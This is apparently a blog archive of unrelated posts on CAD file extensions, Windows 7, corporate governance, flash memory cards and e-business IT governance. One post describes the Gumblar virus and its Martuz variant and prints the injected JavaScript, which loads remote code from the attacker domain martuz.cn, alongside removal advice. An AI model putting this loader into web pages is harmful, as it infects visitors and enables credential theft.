Saturday, December 31, 2011

File Type for CAD File


CAD (Computer-Aided Design) files may contain 2D or 3D designs. They are generated by CAD software programs, which can be used to create models or architecture plans. 2D CAD files are often referred to as drawings, while 3D files are often called models, parts, or assemblies.

Common CAD file extensions include .DWG, .DXF, .DGN, and .STL.


ExtensionFile DescriptionPopularity
.123PCB123 Circuit Board Design
.2dVersaCAD 2D Drawing File
.adiAutoCAD Device-Independent Binary Plotter File
.adtAutoCAD Audit Log
.afdAlphacam Flame Drawing
.afsSTAAD.foundation Project File
.ardArtiosCAD Workspace File
.asmSolid Edge Assembly File
.attAlphacam Lathe Tool File
.bdlCoCreate Bundle File
.blkAutoCAD Block Template File
.bmfFloorPlan File
.cadBobCAD-CAM File
.camGerber CAM Job File
.catpartCATIA V5 Part File
.catproductCATIA V5 Assembly File
.cdlCADKEY Wireframe Design File
.celMicroStation Cell Library
.ckdKubotek Design Container
.cmpSolid Edge Wire Harness File
.cmpGeneric CADD Component File
.cncCNC Machine Tool Path
.cpaCADSTAR PCB Archive File
.dcDesignCAD Design File
.dcdDesignCAD Drawing
.desPro/DESKTOP CAD File
.dftSolid Edge Draft Document
.dfxDrafix CAD File
.dgbFlashCAD Drawing Database
.dgkDelcam 3D Model File
.dgnMicroStation Design File
.dlvCATIA 4 Export File
.drgAllyCAD Drawing File
.drwdotSolidWorks Drawing Template
.dsgControl Studio Document
.dstAutoCAD Sheet Set File
.dwfxDesign Web Format XPS File
.dwgAutoCAD Drawing Database File
.dwsAutoCAD Drawing Standards File
.dwtAutoCAD Drawing Template
.dxeAutoCAD Data Extraction Template
.dxfDrawing Exchange Format File
.dxxAutoCAD Drawing Interchange Attribute File
.edrwSolidWorks eDrawings File
.fcdFastCAD DOS Drawing
.fcwFastCAD Windows Drawing
.flxFelixCAD Drawing
.fncQuickCAM 3D CNC File
.gBRL-CAD Geometry File
.gbxGerber PCB File
.gcdGeneric CADD Drawing File
.gdsGraphic Data System File
.gsmGraphic Description Language File
.gxcGeneral CADD Pro Component
.gxdGeneral CADD Pro Drawing
.hcpHydroCAD Project File
.iamInventor Assembly File
.icsIronCAD 3D Drawing File
.idwInventor Drawing
.ifProcedimientos-Uno IFWin Project File
.igsIGES Drawing File
.ipnInventor Presentation File
.iptInventor Part File
.jobMetaCAM Nest Job File
.jtJT Open CAD File
.jvsgVideo Surveillance Project
.kit20-20 Design File
.lcfArchiCAD Library Container File
.ldrLDraw Model File
.linAutoCAD Linetype File
.mc9Mastercam 9 Geometry File
.mcdMiniCAD Design File
.mcxMICRO CADAM-X/6000 Model Data File
.modelCATIA 3D Model FIle
.ncMastercam Numerical Control File
.neuPro/ENGINEER Neutral File
.pc6PowerCADD 6 Drawing File
.pc7PowerCADD 7 Drawing File
.plaArchiCAD Project Archive
.plnArchiCAD Project File
.prtSolid Edge Part File
.prtUnigraphics Part File
.prtPro/ENGINEER Part File
.psfAutoCAD PostScript Patterns File
.psmSolid Edge Sheet Metal File
.pssAutoCAD Plot Stamp Settings File
.pwdSolid Edge Weldment Document
.pwtAutoCAD Publish To Web Template
.sabACIS SAB Model File
.satACIS SAT Model File
.shxAutoCAD Compiled Shape File
.sldasmSolidWorks Assembly File
.slddrwSolidWorks Drawing File
.sldprtSolidWorks Part File
.sptSpeedTree Tree Data File
.stlStereolithography File
.t3001TARGET 3001! Circuit Design Project File
.tc2TurboCAD 2D Mac Drawing
.tc3TurboCAD 2D/3D Mac Drawing
.tcdTechnobox CAD Drawing
.tcmTurboCAD Mac Drawing
.tctTurboCAD Drawing Template
.tcwTurboCAD Drawing File
.tcxTurboCAD 3D Model Text File
.untAutoCAD Unit Definition File
.vndType3 Design File
.vtf3DESIGN CAD File
.vwxVectorWorks 2008 Design File
.xv3Lattice XVL Geometry File
.x_bParasolid Model Part File
.x_tParasolid Model Part File

Gumblar - another dangerous virus

Gumblar
With Conficker slowly but surely ceding its crown as the most talked about virus of 2009, Gumblar is steadily gaining attention as the new superstar virus. The Gumblar attack first relies on compromising normally legitimate website and planting malicious scripts. US CERT reports that stolen FTP credentials are reckoned to be the main technique in play during this stage of the attack but poor configuration settings and vulnerable web applications might also play a part. Surfers who visit compromised websites are exposed to attacks that rely on well-known PDF and Flash Player vulnerabilities to plant malware onto Windows PCs. This malware is designed to redirect Google search results as well as to swipe sensitive information from compromised machines, according to early findings from ongoing analysis.

Gumblar Aliases and Variants
Gumblar is also known as Troj/JSRedir-R. A recent variant is called Martuz.
Gumblar Summary
Steals FTP credentials
Sends SPAM
Installs fake anti virus
Highjacks Google search queries
Disables security software
How To Remove Gumblar
The simplest way to remove Gumblar is to revert your website to a previous state. Or look through all your PHP, JS, HTML files and clean them manually. After that, reset your FTP credentials. The order is very important. Do not reset FTP credentials before cleaning the website, because this would only result in Gumblar stealing your new FTP password.

Martuz

As Gumblar.cn domain was taken off the web, the Gumblar hackers came up with a new variant, Martuz. The new script now injects a new version that loads malicious content from a new domain – martuz.cn. The Martuz script code is below:
var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write('<script src='http://martu"+"z.cn/vid/?id="+j+"><\/script>');}


Martuz Aliases and Variants

Martuz is a variant of Gumblar, which is also known as Troj/JSRedir-R.

Martuz Summary

Steals FTP credentials
Sends SPAM
Installs fake anti virus
Highjacks Google search queries
Disables security software

How To Remove Martuz

The simplest way to remove Martuz is to revert your website to a previous state. Or look through all your PHP, JS, HTML files and clean them manually. After that, reset your FTP credentials. The order is very important. Do not reset FTP credentials before cleaning the website, because this would only result in Gumblar stealing your new FTP password.

Friday, December 30, 2011

Windows 7 Size: Covering Two Scopes of OS Resizing

The engineers of Windows 7 have indicated that this version of operating system can be a minor release in the view of some users although it can be a major one for others. For now, these engineers have not yet identified whether the release of Windows 7 will be a minor or a major one. But they are suggesting now that it is something in between. Literally speaking though, Windows 7 size can flex from being minor to major. So, what is the meaning of this?

Simply, Windows 7 can snap its window to half or full the screen. This new operating system has the ability to resize any window to half or full the size of the monitor and bring it on the right or left pane of the screen. Apparently, this ability will give its user a useful drag-and-dropper.

In the previous released screencast, it is noticeable that dragging a window to the high point of the screen automatically maximizes it. Now, if a window will be dragged to the right or left side of the screen, user can recognize a glass display overlaying on the desktop. When the mouse button is released in this case, it will automatically snap the window on that overlay that is half of the screen's size. So this offers great convenience to those who own widescreen monitor.

However, when going beyond the literal meaning; Microsoft engineers noted that balance is the key when releasing any operating system, which definitely includes Windows 7. They claim that balance should be observed in order to make a major release, one that has better performance and seize the advantage brought by the latest technologies.

Meantime though, Windows 7 is not yet being classified as a major or minor release. Instead, this is termed as an "awesome release."

Thursday, December 29, 2011

Enterprise Governance – A Good and Bad Corporate Governance

 

Despite a proliferation of material, there is still much confusion surrounding this subject. Put in its simplest form, corporate governance is the systems and processes put in place to direct and control an organisation in order to increase performance and achieve sustainable shareholder value. As such, it concerns the effectiveness of management structures, including the role of directors, the sufficiency and reliability of corporate reporting, and the effectiveness of risk management systems.1 Where the confusion arises, however, is that corporate governance appears to embrace everything from budgeting to internal auditing, the role of non-executive directors to business ethics. It is very difficult therefore for finance professionals to define their changing responsibilities and ensure they are doing what is now expected of them.

In a joint in-depth survey of more than 300 CFOs and senior finance executives by CFO Research and Ernst & Young, nearly three-quarters ofrespondents said that better decision support was the main reason for improving their finance systems. Only half cited the need for better regulatory compliance.

In order to achieve good corporate governance a company must adopt a clear stance on each of the following:

• strategy

• stewardship

• corporate culture

• corporate reporting

• IT systems

• board operation.

There is plenty of evidence to show that if those pieces of the corporate governance jigsaw are not put together properly, the effectiveness of risk management systems across an organisation will prove inadequate.

The Good, the Bad and the Ugly - Examples of Corporate Governance

The Good: Unilever2

Unilever is one of the world's largest packaged consumer goods companies with more than 700 brands in its portfolio. Owned by Netherlands-based Unilever and

UK-based Unilever Plc, it operates as a single company, linked by equalisation agreements, which regulate the mutual rights of respective shareholders.

The company has grown to become a dominant force in the food, home and personal care markets, and is not only one of the largest ice-cream manufacturers, and the biggest producer of packet tea, but a world leader in deodorants, anti-perspirants and skin cleansers. It also operates a prestige fragrance business boasting designer brands to include Obsession, Eternity, CK One and CK Be.

It has made an impressive series of sales and acquisitions over the past ten years, to rationalise its operations and focus on core brands. Sales of these brands grew by more than 5 per cent in 2002. The company also took a number of its traditional brands into new markets.

As an organisation divided into two companies operating under two different sets of financial reporting regulations, there are obvious anomalies in corporate governance requirements. For example, the supervisory board as recognised in Holland is not known in the UK, neither are non-executive directors recognised in the Netherlands.

However, Unilever has created a governance structure often held up as an example of best practice. Advisory directors, as required under Dutch reporting regulations, act as non-executive directors, chosen for their broad experi­ence for an initial period of three to four years. All appointments and re-appointments are based on the recommendations of a Nomination Committee.

Board committees are divided into an executive, audit, corporate risk, external affairs, corporate relations, nomina­tion, remuneration and routine business committees.

Directors' service contracts, under Unilever's Articles of Association require all directors to retire from office at every AGM. Directors are expected to retire by their 62nd birthday.

 

The Good: General Electric3

In 2002, GE was ranked the world's second most admired company in the Fortune 500. Not only highly regarded for its financial services, GE is also involved in engineering, broadcast media, power generation and medical imaging.

Its good standard of governance has no doubt helped keep its stocks at such consistently high levels and contributed to its continued brand strength. When in 2002, the company faced intense investor scrutiny over earnings from its financial services operation, GE Capital, it resolved the situation by dividing GE Capital into commercial finance, consumer finance, equipment manage­ment and insurance. In the same year, GE also announced plans to further strengthen its governance standards to serve the long-term interests of its stakeholders.

The Bad: HIH

The problematic aspects of the corporate culture of HIH can be summarised succinctly. There was blind faith in a leadership that was ill equipped for the task. There was insufficient ability and independence of mind in and associated with the organisation to see what had to be done, and what had to be stopped or avoided. Risks were not properly identified and managed. Unpleasant informa­tion was hidden, filtered or sanitised. And there was a lack of sceptical questioning and analysis when and where it mattered.

(Royal Commission on the collapse of the Australian insurance company HIH)4


The Ugly: Boeing5

In December 2003, Boeing, one ofthe world's most famous aerospace companies, found itselfcaught up in a scandal that was to see its CFO sacked and its CEO resign - albeit not as a 'direct consequence' of the scandal.

The scandal followed investigations by a number of military and civilian departments into allegations that Boeing acted improperly in the $18bn sale of 100 Boeing 767 tankers to the United States Air Force (USAF).

The firm had already been rocked by a similar 'unethical practices' scandal involving the possession of documents belonging to rival Lockheed Martin during bidding for a military rocket-launch contract in 1998. As a result of the allegation the Pentagon subsequently suspended Boeing from bidding on future rocket contracts pending a review of its practices. Lockheed Martin sued Boeing for alleged theft.

Alleged accounting irregularities surrounding the acqui­sition of McDonnell Douglas cost the company $92.5m after shareholders accused the then CEO Phil Condit of using accounting tricks to massage the company's financial health. In 2003, Boeing paid out more than $1bn in deal-related write-offs.

Alleged Unethical Practice

In February 2001, Boeing, already feeling the corporate pinch, bid to supply the USAF with re-engineered 767s for a price tag of $124.5m each. Although the proposition was initially well received, research later showed that the air force did not need any new tankers until 2010.

The terrorist attacks of September 11 brought about more financial misery for Boeing as airlines worldwide reduced the number of flights. Shortly after the world-stopping events, Boeing laid off around 30 per cent of its commercial aviation workforce. By 2002, it had also scrapped plans for a new faster, smaller long-range aircraft - the Sonic Cruiser.

A short-lived turnaround followed, with the announce­ment of a $9bn deal to supply Ryanair with 100 new aircraft, and a $9.7bn deal with the USAF for transport aircraft. However, the run of good luck was brought to a halt when strike action threatened to halt production.

But in 2003, the Washington Post broke an article alleging that Boeing executives had met with USAF official Darleen Druyun, who, it was alleged, had provided bid details to Boeing. It was also alleged that she suggested ways of finding the money to fund the deal through a leasing agreement.

Druyun then entered discussion to join Boeing in October 2002, but continued to work on the deal for the USAF until November. She then officially joined Boeing in early 2003. Following the story, Boeing publicly defended itself, publishing a number of articles in leading US newspaper titles. But the scandal still persisted.

According to a Wall Street Journal report, Boeing had committed $20m to Trieme Partners, a firm set up by Richard Perle, a key political ally of the Pentagon's right-wing leadership, who had long supported the Boeing/ USAF deal. It was alleged that articles written by him supporting the deal were ghost written, as were a number of other articles by leading military figures, who later became Boeing consultants.

As the scandal deepened, CEO Condit fired his CFO Michael Sears. Druyun was the next to go. Condit's resignation was alleged not to be 'related to the scandal', but opinion to the contrary persists.

Former vice-chairman of the Boeing board, Harry Stonecipher, came out of retirement to replace Condit in

December 2003. He maintained that in spite of the controversy the tanker deal would remain on the table.

Market Position

In 2002, commercial aircraft accounted for 52 per cent of Boeing's sales. By 2003, its 70 per cent market share had dropped to 50 per cent with fewer than 300 planes delivered. Boeing spent more than 10 to 20 per cent more on building costs than its main rival Airbus.

Shortly before Thanksgiving 2003, aircraft manufacturer Boeing fired CFO Michael Sears and vice-president Darleen A. Druyun after an internal investigation alleged that Sears personally lobbied to hire Druyun in late 2002 while she worked for the Air Force - with whom Boeing was negotiating a $21 billion contract. A week later, Boeing CEO Phil Condit resigned as well, just as book reviewers received their copies of Soaring Through Turbulence: A New Model for Managers Who Want to Succeed in a Changing Business World - a primer on ethical business management by former Boeing CFO Michael Sears.6

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How Flash Memory Works



Flash memory is a type of nonvolatile memory that is divided into blocks, rather than bytes as with normal RAM memory modules. Flash memory, which also is used in computers for BIOS chips, is changed by a process known as Fowler-Nordheim tunneling. This process removes the charge from the floating gate associated with each memory cell. Flash memory then must be erased before it can be charged with new data.

The speed, low reprogramming current requirements, and compact size of flash memory devices have made flash memory a perfect counterpart for portable devices such as laptop computers and digital cameras, which often refer to flash memory devices as so-called "digital film." Unlike real film, digital film can be erased and reshot. Ultra-compact, USB-based keychain drives that use flash memory have quickly replacedboth traditional floppy drives and Zip/SuperDisk drives for transporting data between systems.

Types of Flash Memory Devices

Several types of flash memory devices are in common use today, and it's important to know which ones your digital camera is designed to use. The major types include the following:

  • ATA Flash

  • CompactFlash (CF)

  • SmartMedia (SM)

  • MultiMediaCards (MMC)

  • Reduced Size MMC (RS-MMC)

  • SecureDigital (SD)

  • Memory Stick

  • xD-Picture Card

  • Thumb or keychain USB devices

Table below shows the different types of solid-state storage used in digital cameras and other devices, listed in order of physical size.



Table; Different Flash Memory Devices and Physical Sizes

TypeL (mm)W (mm)H (mm)Volume (cc)Date Introduced
ATA Flash Type II54.0085.605.0023.11Nov. 1992
ATA Flash Type I54.0085.603.3015.25Nov. 1992
CompactFlash (CF) Type II42.8036.405.007.79Mar. 1998
CompactFlash (CF) Type I42.8036.403.305.14Oct. 1995
Memory Stick21.4550.002.803.00Jul. 1998
Secure Digital (SD)24.0032.002.101.61Aug. 1999
SmartMedia (SM)37.0045.000.761.27Apr. 1996
MultiMediaCard (MMC)24.0032.001.401.08Nov. 1997
xD-Picture Card (xD)20.0025.001.700.85Jul. 2002
Reduced Size MMC (RS-MMC)24.0018.001.400.60Nov. 2002
Note: USB flash drives are not listed because they do not have a standardized form factor.

CompactFlash

CompactFlash, developed by SanDisk Corporation in 1994, uses ATA architecture to emulate a disk drive; a CompactFlash device attached to a computer has a disk drive letter just like your other drives. The original size was Type I (3.3mm thick); a newer Type II size (5mm thick) accommodates higher-capacity devices. Both CompactFlash cards are 1.433" wide by 1.685" long, and adapters allow them to be inserted into laptop computer PC Card slots. The CompactFlash Association (www.compactflash.org) oversees development of the standard.

SmartMedia

Ironically, SmartMedia (originally known as SSFDC for solid state floppy disk card) is the simplest of any flash memory device. A SmartMedia card contains only flash memory on a card without any control circuits. This simplicity means that compatibility with different generations of SmartMedia cards can require manufacturer upgrades of SmartMedia-using devices.

MultiMediaCard

The MultiMediaCard (MMC) was co-developed by SanDisk and Infineon Technologies AG (formerly Siemens AG) in November 1997 for use with smart phones, MP3 players, digital cameras, and camcorders. The MMC uses a simple 7-pin serial interface to devices and contains low-voltage flash memory. The MultiMediaCard Association (www.mmca.org) was founded in 1998 to promote the MMC standard and aid development of new products. In November 2002, MMCA announced the development of the Reduced Size MultiMediaCard (RS-MMC), which reduces the size of the standard MMC by about 40% and can be adapted for use with standard MMC devices.

SecureDigital

A SecureDigital (SD) storage device is essentially an improved and updated version of MMC, and MMC cards can be read in SD slots. SD has several enhancements over MMC and is available in greater capacities. SD, which was co-developed by Toshiba, Matsushita Electric (Panasonic), and SanDisk in 1999, gets its name from two special features. The first is encrypted storage of data for additional security, meeting current and future SecureDigital Music Initiative (SDMI) standards for portable devices. The second is a mechanical write-protection switch. The SD slot can also be used for adding memory to Palm PDAs. The SDIO standard was created in January 2002 to enable SD slots to be used for small digital cameras and other types of expansion with various brands of PDAs and other devices. The SD Card Association (www.sdcard.org) was established in 2000 to promote the SD standard and aid the development of new products.

Sony Memory Stick and Memory Stick Pro

Sony, which is heavily involved in both laptop computers and a wide variety of digital cameras and camcorder products, has its own proprietary version of flash memory known as the Sony Memory Stick. These devices feature an erase-protection switch, which prevents accidental erasure of your photographs. Sony has also licensed Memory Stick technology to other companies, such as Lexar Media.

Lexar introduced the enhanced Memory Stick PRO in 2003, with capacities ranging from 256MB up to 1GB. Memory Stick Pro includes MagicGate encryption technology, which enables digital rights management, and Lexar's proprietary high-speed memory controller.

ATA Flash PC Card

Although the PC Card (PCMCIA) form factor is now used for everything from game adapters to modems, from SCSI interfacing to network cards, its original use was computer memory, as the old PCMCIA (Personal Computer Memory Card International Association) acronym indicated.

Unlike normal RAM modules, PC Card memory acts like a disk drive, using the PCMCIA ATA (AT Attachment) standard. PC Cards come in three thicknesses (Type I is 3.3mm, Type II is 5mm, and Type III is 10.5mm), but all are 3.3" long by 2.13" wide. Type I and Type II cards are used for ATA-compliant flash memory and the newest ATA-compliant hard disks. Type III cards are used for older ATA-compliant hard disks; a Type III slot also can be used as two Type II slots.

xD-Picture Card

In July 2002, Olympus and Fujifilm, the major supporters of the SmartMedia flash memory standard for digital cameras, announced the xD-Picture Card as a much smaller, more durable replacement for SmartMedia. In addition to being about one-third the size of SmartMediamaking it the smallest flash memory format yetthe xD-Picture Card has a faster controller to enable faster image capture.

Initial capacities range from 16MB up to 128MB, but eventual capacities are expected to reach up to 1GB or above. The 16MB and 32MB cards (commonly packaged with cameras) record data at speeds of 1.3MBps, whereas the 64MB and larger cards record data at 3MBps. The read speed for all sizes is 5MBps. The media are manufactured for Olympus and Fujifilm by Toshiba, and because xD-Picture media are optimized for the differences in the cameras (Olympus's media support the panorama mode found in some Olympus xD-Picture cameras, for example), you should use the same brand of camera and media.

USB Keychain Drives (Thumbdrives)

As an alternative to floppy and Zip/SuperDisk-class removable-media drives, USB-based flash memory devices are rapidly becoming the preferred way to move data between systems. The first successful drive of this typeTrek's ThumbDrivewas introduced in 2000 and has spawned many imitators, including many that incorporate a keychain or pocket clip to emphasize their portability.

Unlike other types of flash memory, USB keychain drives don't require a separate card reader; they can be plugged into any USB port or hub. Although a driver is usually required for Windows 98 and Windows 98SE, most USB keychain drives can be read immediately by newer versions of Windows, particularly Windows XP. As with other types of flash memory, USB keychain drives are assigned a drive letter when connected to the computer. Most have capacities ranging from 32MB to 128MB, with some capacities as high as 2GB. However, typical performance with USB 2.0 is about 5MBps.

E-Business IT Governance and Business Rational

Governance is a multifaceted activity requiring the efficient and effective uses of resources to achieve desired aims. In e-business IT Governance it is the ability to manage IT, develop strategies, and create systems that are relevant to business operations and customers who interface with an organisation. IT Governance involves building a professional IT capability that is able to offer a business strategic advantages. The professional IT executive needs to work closely with business executives to determine how IT can add value. The value contribution of IT can be determined by considering facets of global e-business IT Governance such as:
    Develop an IT strategy, and undertake critical strategic and operational reviews. Strategy formulation requires an imagination to use IT capability to build better relationships with partners, customers and employees. 
  • Develop and manage the distributed IT/IS systems, e-crm and e-technology infrastructures. 

  • Ensure that business-critical projects are completed. 

  • Define methods, tools, and processes. 

  • Define best practices. 

  • Manage application development. 

  • Manage outsourced providers and multi-site procurement policies. 

  • Ensure effective IT services delivery strategy to business segments that lead to internal productivity gains. 

  • Develop key performance indicators. 

  • Critically review current organisation structures and capability and implement cost savings to improve efficiency and effectiveness. 


Underlying all the above activities is the aim of meeting operating needs of a company. Any IT Governance mechanism should be rooted in business logic. For global companies with e-business aspirations, three segments of business need to be considered: marketing, human factors, and business-to-business relations. In terms of marketing, a company needs to consider how its e-business strategy supports its overall mission and communications objectives. It needs to develop a one-to-one marketing strategy over the Internet for customers and the extranet business partners. It needs to determine how to relate digitally with its customers. In terms of human factors, a company needs to assess how its customers will respond to digitised interaction. E-crm strategies need to be customer-focused and, as explained in the following section, appropriate customer-organisation interaction models need to be developed. This may require developing easy-to-use interfaces for customers who are simply interested in purchasing items or services. Finally, in terms of business-to-business, a company will need to assess how to develop the interaction between itself and its business partners and suppliers.

Most e-business models tend to overlook the customer as an integral aspect of an e-business. E-business IT Governance needs to be customer-centric. The customer is regarded as an operational aspect of e-business in the framework presented later. No physical boundaries exist between a business and its partners, suppliers or investors, or between a business and its customers in an e-business. Business processes that deliver a product or service now extend virtually to the customer. Dell, the personal computer manufacturer, produces customised products through its corporate portal, linking its operational process directly to the customer. Thus both suppliers and business partners, and critically, customers, now become operational issues in e-business enterprises and e-business IT Governance. Business processes that link directly to customer requirements mean that IT Governance too needs to consider the company's customer in its systems development approaches and strategies. Amazon.com and Yahoo! are examples of companies that operate beyond notions of business transformation; they are truly networked organisations that are superimposed on transient physical and organisational structures. The role of IT Governance in such organisations is beyond the simple management of the IT tool. It involves ensuring the very economic viability of a company.
Some Radical Re-Directions in E-Business IT GovernanceThe e-business IT Governance framework elaborated in the following section is built on radical re-directions from traditional IT Governance. E-business is the integration of economic, business and technology aspects of business activity. The scope of e-business IT Governance is not now simply inward IT management but outward relations, covering business partners, suppliers, and critically, customers. Traditional IT Governance focused on the technology and its application to business operations, whereas e-business IT Governance is intertwined with business and economic management, with suppliers, business partners and customers. In e-business, IT Governance has thus moved onto a different plane, requiring fundamental re-directions discussed below that need to be considered for effective global e-business IT Governance. 

Traditional IT Governance's modus operandi is planning. In global e-business IT Governance it is necessary to consider both planned e-business IT and emergent requirements. Modern organisations cannot be viewed solely as planned and directed entities. Organisational life is about 'being in the process' and not only about definable structures, especially when considering the virtuality of organisation structures. There is evidence that organisation structure is dynamic. In terms of IS development, research reveals that developers need to consider the emergent information and knowledge needs of the organisation (Baskerville, Travis, & Truex, 1992) in such organic structures. Similarly, strategies should be free to appear at any time and in any place in the organisation. There is a 'messy process of informal learning' through which strategies may be formulated. Planning itself needs to be of the rolling wave kind to cater for uncertainty and, possibly, contractual work in systems development.

IS development needs to be re-scoped to include customers, business partners, and suppliers. For e-business, IS development is not simply an 'internal' problem as in traditional IT Governance. In e-business it extends outside the organisation to include business partners and suppliers, but most critically it needs to include customers. Pure e-business organisation is directly linked to its customers through the Internet. Its business processes and operations are driven by this direct interface. As the interface is enabled by IT, its development and the development of associated systems needs to involve all interfaces. Thus the very problem of systems development extends outside the organisation.

Consequently, e-business IT Governance is about developing new interfaces to fundamentally change the way in which an organisation interacts with its customers, partners and suppliers. The new interfaces are between:
    Customer — organisation 
  • Partner — organisation 

  • Supplier — organisation 


These interfaces are vital for the viability of a company and pose a new problem for global IT Governance. The problem is how to design efficient business processes that extend to interfaces as well as the interface itself. In some virtual organisation forms the customer is a co-producer of the goods or services; for example, where the buyer of cars or personal computers can customise the requirement for a product online. For the customer-organisation interface, one aspect of the problem is how to design interfaces that cater for cultural diversity to be found globally. These interfaces cover both process issues and its fused IT. The customer-organisation interface should be monitored to extract vital business intelligence from customers.

There are various reasons why all systems requirements cannot be known in advance to facilitate detailed IT plans and development. The users may not know what is required, or if they do they may not be able to explain or express the problem in terms that are readily understandable and can be modelled. Therefore global e-business IT Governance needs to develop local information and Knowledge Management tools. Global businesses will need to devise and implement varying marketing strategies for local needs. Web-based marketing systems require incorporating customising or tailoring tools to allow different product promotions or application tailoring (Wolfgang et al., 1998).

Historically, the level of sophistication of tools in a society reflects its intelligent activity. It is not possible to achieve an objective without some kind of tools or devised method. A tool is a 'wholly constructed expression of both knowledge and values' (Groth, 1999). Interestingly, there has been a paucity of tools in IS given its pervasiveness in organisations and, during the last decade, in society generally. E-business tools contribute to organisation structure, its effectiveness and efficiency. Tool building that facilitates the collective experiences of individuals leads to the design of better and effective tools, as it leads to the design of sophisticated and precise tools that solve the problem at hand.

Traditional technology has not had an all-encompassing effect on organisation structure and communication. Traditional IT Governance has not had to deal with questions of organisation structure, except with the notion of business transformation. E-business IT Governance by necessity has to consider the all-encompassing effect that the new networking digital technologies have on organisation. Internet and web technologies enable organising virtually. Policies need to be developed to enable organising virtually, as well as:


    Developing and enable virtual structures, which by definition will change; 
  • Ensuring economic viability, not simple business 'fit'; 

  • Developing solutions that are valid at corporate and business unit levels. 


E-business IT Governance is more complex than the traditional alignment of IT with business or deriving business opportunity from IT. It is about integrating IT into the very business, referred to here as fusing IT with business. An e-business should be regarded as an open-ended organisational network. The notion of open systems (Flood & Jackson, 1991) may be one way of conceptualising such an entity. Another way to think about open-ended organisational networks is as 'webs' (Patel, 2001a). The empirically founded web concept is proposed as a conceptual tool to develop applications better suited for business organisations dealing in information and knowledge with emergent needs. It is consistent with the major content of e-business technology, namely information and knowledge processing, and with the plank of information and knowledge ontology within the proposed framework.

Develop ontologies of information and knowledge that are not simple data/information processing algorithms. A significant aspect of e-business IT Governance that is different from traditional IT Governance concerns business intelligence and models of customers. E-business solutions require intricate models of customer behaviour. The various applications need to be integrated to provide a unified view of customers.

Two other radical considerations are cross-organisational IS development teams and reconceptualising time and space in a virtual e-business organisation. Lee (1999) describes temporal changes of export related work in companies using EDI and how IS create temporal symmetry. International businesses have given rise to global and virtual software development teams. These teams are composed of North American and European corporations and companies from the Indian subcontinent. The management of virtual software development teams is a new challenge for e-business IT Governance.